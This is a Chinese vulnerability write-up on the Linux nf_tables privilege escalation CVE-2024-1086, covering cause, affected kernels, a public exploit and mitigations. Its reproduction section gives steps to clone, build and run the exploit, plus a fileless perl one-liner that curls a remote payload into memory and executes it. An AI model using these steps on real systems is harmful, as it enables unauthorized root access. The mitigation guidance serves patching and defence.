Linux Kernel nf_tables 本地权限提升漏洞(CVE-2024-1086)

文章目录

  • 前言
  • 声明
  • 一、netfilter介绍
  • 二、漏洞成因
  • 三、漏洞危害
  • 四、影响范围
  • 五、漏洞复现
  • 六、修复方案
    • 临时解决方案
    • 升级修复方案


前言

2024年1月,各Linux发行版官方发布漏洞公告,修复了一个 netfilter:nf_tables 模块中的释放后重用漏洞(CVE-2024-1086)。鉴于该漏洞易于利用,并且允许本地攻击者提升至root权限。


声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。


一、netfilter介绍

​netfilter是Linux内核的一个子系统,允许实现各种网络相关操作,如数据包过滤、网络地址转换(NAT)和端口转换。而nf_tables是netfilter的一部分,用于定义和管理防火墙规则。

二、漏洞成因

Linux内核版本v5.14 - v6.6的netfilter 子系统nf_tables组件中存在释放后使用漏洞,由于在nft_verdict_init()函数中,允许正值作为hook判决中的丢弃错误,因此当NF_DROP发出类似于NF_ACCEPT的丢弃错误时,nf_hook_slow()函数可能会导致双重释放漏洞,本地低权限威胁者可利用该漏洞将权限提升为root。

三、漏洞危害

该漏洞可以被本地攻击者利用,从普通用户提升到ROOT用户权限。

四、影响范围

该漏洞影响了使用Linux内核版本v5.14 - v6.6 版本(不包括分支修补版本 v5.15.149、v6.1.76和v6.6.15)的大多数 Linux系统/内核,包括CentOS、Debian、Ubuntu和 KernelCTF等。

部分内核版本PoC/EXP测试结果如下:

KernelKernel VersionDistroDistro VersionWorking/FailCPU PlatformCPU CoresRAM SizeFail ReasonTest StatusConfig URL
Linuxv5.4.270n/an/afailQEMU x86_64816GiB[CODE] pre-dated nft code (denies rule alloc)finalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.4.270.config
Linuxv5.10.209n/an/afailQEMU x86_64816GiB[TCHNQ] BUG mm/slub.c:4118finalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.10.209.config
Linuxv5.14.21n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.14.21.config
Linuxv5.15.148n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.15.148.config
Linuxv5.16.20n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.16.20.config
Linuxv5.17.15n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.17.15.config
Linuxv5.18.19n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.18.19.config
Linuxv5.19.17n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v5.19.17.config
Linuxv6.0.19n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.0.19.config
Linuxv6.1.55KernelCTFMitigation v3workingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-mitigationv3-v6.1.55.config
Linuxv6.1.69DebianBookworm 6.1.0-17workingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config
Linuxv6.1.69DebianBookworm 6.1.0-17workingAMD Ryzen 5 7640U632GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-debian-v6.1.0-17-amd64.config
Linuxv6.1.72KernelCTFLTSworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-kernelctf-lts-v6.1.72.config
Linuxv6.2.?UbuntuJammy v6.2.0-37workingAMD Ryzen 5 7640U632GiBn/afinal
Linuxv6.2.16n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.2.16.config
Linuxv6.3.13n/an/aworkingQEMU x86_64816GiBn/afinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.3.13.config
Linuxv6.4.16n/an/afailQEMU x86_64816GiB[TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=yfinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.4.16.config
Linuxv6.5.3UbuntuJammy v6.5.0-15failQEMU x86_64816GiB[TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=yfinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-ubuntu-jammy-v6.5.0-15.config
Linuxv6.5.13n/an/afailQEMU x86_64816GiB[TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=yfinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.5.13.config
Linuxv6.6.14n/an/afailQEMU x86_64816GiB[TCHNQ] bad page: page->_mapcount != -1 (-513), bcs CONFIG_INIT_ON_ALLOC_DEFAULT_ON=yfinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.6.14.config
Linuxv6.7.1n/an/afailQEMU x86_64816GiB[CODE] nft verdict value incorrect is altered by kernelfinalhttps://raw.githubusercontent.com/Notselwyn/blogpost-files/main/nftables/test-kernel-configs/linux-vanilla-v6.7.1.config

注意事项:

​(1)该漏洞不适用于带有 kconfig 的 v6.4> 内核CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y(包括 Ubuntu v6.5)

​(2)该漏洞利用需要用户命名空间 (kconfig CONFIG_USER_NS=y),这些用户命名空间没有特权 (sh command sysctl kernel.unprivileged_userns_clone= 1),并且 nf_tables 已启用 (kconfig CONFIG_NF_TABLES=y)。默认情况下,这些在 Debian、Ubuntu 和 KernelCTF 上均已启用。其他发行版尚未经过测试,但可能也可以工作。此外,该漏洞仅在 x64/amd64 上进行了测试。

​(3)在具有大量网络活动的系统上, 该漏洞可能非常不稳定

  • 带有 WiFi 适配器的系统,当被高使用率 WiFi 网络包围时,会非常不稳定。
  • 在测试设备上,请通过 BIOS 关闭 WiFi 适配器。

(4)运行漏洞后的内核恐慌(系统崩溃)是一种副作用,没有故意修复以防止恶意使用漏洞(即,漏洞利用尝试现在应该更引人注目,并且在实际操作中不切实际)。尽管如此,它仍然允许在实验室环境中进行有效的概念验证,因为根 shell 可以正常工作,并且可以通过磁盘进行持久化。
在这里插入图片描述
配置

默认值应该可以在 DebianUbuntuKernelCTF 上使用本地 shell 开箱即用。在未经测试的设置/发行版上,请确保 kconfig 值与目标内核匹配。这些可以在 中指定src/config.h。如果您在物理内存超过 32GiB 的计算机上运行该漏洞,请确保增加CONFIG_PHYS_MEM.如果您通过 SSH(进入测试机器)或反向 shell 运行漏洞利用程序,您可能需要切换CONFIG_REDIRECT_LOG1避免不必要的网络活动。

五、漏洞复现

公开EXP/POC

#拉取项目并编译
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
#然后运行
./exploit

在这里插入图片描述
该项目还支持无落地文件的方法去使用,不过需要目标存在perl的前提

perl -e 'require qw/syscall.ph/;my $fd = syscall(SYS_memfd_create(), $fn, 0);system "curl https://example.com/exploit -s >&$fd";exec {"/proc/$$/fd/$fd"} "memfd";
'

六、修复方案

临时解决方案

1、通过防止加载受影响的 nf_tables 内核模块可以缓解此漏洞,在禁用之前,需要仔细评估确认禁用该模块带来的影响,例如:iptables 可能需要 nf_tables 模块才能工作。

RedHat/CentOS:

# echo 'blacklist nf_tables' >> /etc/modprobe.d/blacklist-nf_tables.conf
# dracut -f
# reboot 重启后即可禁用

Debian/Ubuntu:

# sudo echo 'blacklist nf_tables' >> /etc/modprobe.d/blacklist-nf_tables.conf
# sudo update-initramfs -u
# reboot 重启后即可禁用

2、如果无法禁用 nf_tables 内核模块,在系统上没有运行任何容器的情况下,可以通过禁用用户命名空间来缓解漏洞。在禁用之前,需要仔细评估并确认禁用所带来的影响,例如:许多容器实现需要使用 user_namespaces 来增强安全性和隔离性。

RedHat/CentOS:

# echo "user.max_user_namespaces=0" > /etc/sysctl.d/userns.conf
# sysctl -p /etc/sysctl.d/userns.conf

Debian/Ubuntu:
如果不需要,可禁用非特权用户创建命名空间的能力。临时禁用执行以下命令:

# sudo sysctl -w kernel.unprivileged_userns_clone=0

重启后仍然禁用:

# echo kernel.unprivileged_userns_clone=0 | sudo tee /etc/sysctl.d/99-disable-unpriv-userns.conf

升级修复方案

目前该漏洞已经修复,受影响用户可升级到Linux内核v5.15.149v6.1.76v6.6.15或更高版本。

相关发行版本已发布漏洞公告,可参考漏洞公告升级对应的Linux内核。

Ubuntu公告:https://ubuntu.com/security/CVE-2024-1086

CentOS漏洞公告:https://lists.centos.org/pipermail/centos-announce/2024-March/099235.html

RedHat漏洞公告:https://access.redhat.com/security/cve/cve-2024-1086

Debian漏洞公告:https://security-tracker.debian.org/tracker/CVE-2024-1086

统信漏洞公告:https://src.uniontech.com/#/security_advisory_detail?utsa_id=UTSA-2024-000633

麒麟漏洞公告:https://kylinos.cn/support/loophole/patch/5561.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/23384.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于语音识别的智能电子病历(其他)CC、HPI、ROS案例分析

门诊使用基于语音识别的智能电子病历相对要少一些。很多系统的门诊系统包含了丰富的模版,美国退伍军人医院在非常早的时候(2010年之前)就通过使用大量的模版来进行处理门诊的数据录入。下面分析中的截图也是来自一些美国退伍军人医院的系统。…

网络高频攻击手段与基本防护措施总结

主要攻击手段 一、云平台攻击 云平台攻击是指针对云服务器的恶意行为,旨在获取非法访问权限、窃取敏感数据或者破坏服务器的正常运行。云平台攻击的形式多样,以下是对云平台攻击的一些主要类型和特点的详细分析: 攻击类型: 凭据…

idea修改国际化语言教程

教程背景 第一种,如果以前的项目已经有国际化语言了,现在的项目是导入的。 第二种,你中途把idea删除卸载了,在安装了别的版本,把这个项目导入进来后的。 第三种,你下载或复制的别人的项目。 以上这三种…

如何实现vue项目不同屏幕适配(2024最新)

文章目录 1.下载插件,修改px单位为rem单位2.配置vue.config.js(如下图位置所示)3.屏幕自适应4.项目实际使用 1.下载插件,修改px单位为rem单位 npm i postcss-plugin-px2rem2.配置vue.config.js(如下图位置所示) 注意在根目录下,如果没有该文…

MySQL深分页,limit 100000,10 优化

文章目录 一、limit深分页为什么会变慢二、优化方案2.1 通过子查询优化(覆盖索引)回顾B树结构覆盖索引把条件转移到主键索引树 2.2 INNER JOIN 延迟关联2.3 标签记录法(要求id是有序的)2.4 使用between...and... 我们日常做分页需…

引擎:UI

一、控件介绍 Button 按钮 创建一个按钮 按钮禁用 精灵模式 颜色模式 缩放模式 绑定点击事件 EditBox 输入框 Layout 布局 支持水平排列、垂直排列、背包排列 PageView 页面视图 ProgressBar 进度条 RichText 富文本 绑定点击事件 事件可以被其它标签包裹 图文混排 Scroll…

AG32 MCU+FPGA 使用感受

前言: 笔者35了,10多年前开始玩单片机/FPGA啥的,从现在回想过去,眼下真的是我们国家微电子发展的好时候。各种各样的国产单片机,FPGA啥的,想想本科的时候用的Freescale,后来用的STM32&#xff0…

UI 自动化中的分层设计

以前的设计 在过去 UI 自动化测试领域有一个规范的设计模式是 page object 模式。 意思是测试用例不会直接定位页面元素, 而是把每一个页面封装成一个类。 在这个类中封装页面元素。 然后测试用例调用 page 类来操作页面元素完成测试用例。如下图: 以前…

【工具变量】巡回法庭DID数据(2000-2022)(附部分stata代码)

数据来源: 时间跨度:2000-2022 数据范围:全国 数据指标: 参考刘中华和黄斯琪等学者的做法,将当年企业总部所在省份被巡回法庭覆盖赋值为1,否则为0。数据提供两个版本excel版本和dta版本,还附…

【Emgu CV教程】10.14、ConnectedComponents()函数计算连通区域

文章目录 一、概念1.什么叫图像的连通区域2.提取连通区域的函数 二、简单应用1.原始素材2.代码3.运行结果4.连通区域上色 一、概念 1.什么叫图像的连通区域 图像的连通域是指图像中具有相同像素值并且位置相邻的像素组成的区域,连通域分析是指在图像中寻找出彼此互…

云工场上市在即:资产负债比率飙升,巨额分红3000万远超净利润

《港湾商业观察》施子夫 今年5月底,冲刺港交所上市的云工场科技控股有限公司(以下简称,云工场)通过聆讯。 6月5日,云工场宣布将于2024年6月5日至6月11日进行招股,预计在6月14日上市。公司计划发售1.15亿股…

【UE5.1 角色练习】11-坐骑——Part1(控制大象移动)

前言 在上一篇(【UE5.1 角色练习】10-物体抬升、抛出技能 - part2)基础上创建一个新的大象坐骑角色,并实现控制该角色行走的功能。 效果 步骤 1. 在商城中下载“African Animal Pack”资产和“ANIMAL VARIETY PACK”资产导入工程中 2. 复…

【deepin 邀您体验】玲珑 10 分钟快速构建指南!

玲珑 作为一种新型的独立包管理工具集,玲珑主要提供分层与隔离的运行环境,解决传统包管理系统强依赖导致的兼容性问题,以及权限松散导致的安全问题。当前,玲珑已支持 4 个发行版,包括 deepin、统信 UOS 以及 Debian 和…

golang 中的复合类型

前言 所有的api文档都可以使用bash命令 go doc 查看文档的帮助信息 从 Go 1.13 开始,godoc 不再随 Go 发行版一起安装,你需要单独安装它。 需要单独安装 1. go install golang.org/x/tools/cmd/godoclatest 2执行命令 godoc -http:1111 打开浏览器 http:…

java之基础2笔记

1 类型转换 1.1 自动类型转换(隐式类型转换) 从小的数据类型到大的数据类型的转换(如 int 到 long)。 从低精度的数据类型到高精度的数据类型的转换(如 float 到 double)。 1.2 强制类型转换&#xff0…

儿童护眼灯哪个好?带你了解适合儿童的护眼灯款式分享

儿童护眼灯哪个好?作为我们日常生活中极为实用的小家电,为了确保使用台灯时的舒适性并且保护视力,选择一款专业的护眼台灯成为了一个明智的决定。这样的台灯能够提供更舒适、均匀的照明环境,那么到底儿童护眼灯哪个好你&#xff1…

实现手机空号过滤或手机号码有效性验证

手机空号过滤或手机号码有效性验证通常涉及使用专门的API接口来查询手机号码的状态。这些API接口通常由第三方服务提供商提供,它们会与电信运营商合作或利用自己的数据库来验证手机号码是否真实存在、是否已被分配、是否处于空号状态等。 以下是一些步骤和考虑因素…

爬虫——有道云翻译

废话不多说直接上代码 固定文本内容 import timefrom selenium import webdriver from selenium.common.exceptions import NoSuchElementException, TimeoutException from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWai…

Day 41 NGINX详解

Nginx详解 一、HTTP协议 HTTP协议是Hyper Text Transfer Protocol(超文本传输协议)的缩写,是用于从万维网(WWW:World Wide Web )服务器传输超文本到本地浏览器的传送协议。 1、HTTP 工作原理 HTTP协议通信流程 WEB Server&…

超维小课堂 | 6、MAVROS与机载电脑Jetson nano通信

MAVROS与机载电脑Jetson nano通信 ROS系统镜像——Jetson nano b01 4G 链接: 百度云镜像链接 链接:https://pan.baidu.com/s/1NoIEvVdsiYLPvVOWM98hjQ 提取码:cwkj 简介:MAVROS和Jetson nano通信,设置飞控参数和MAVROS文件&am…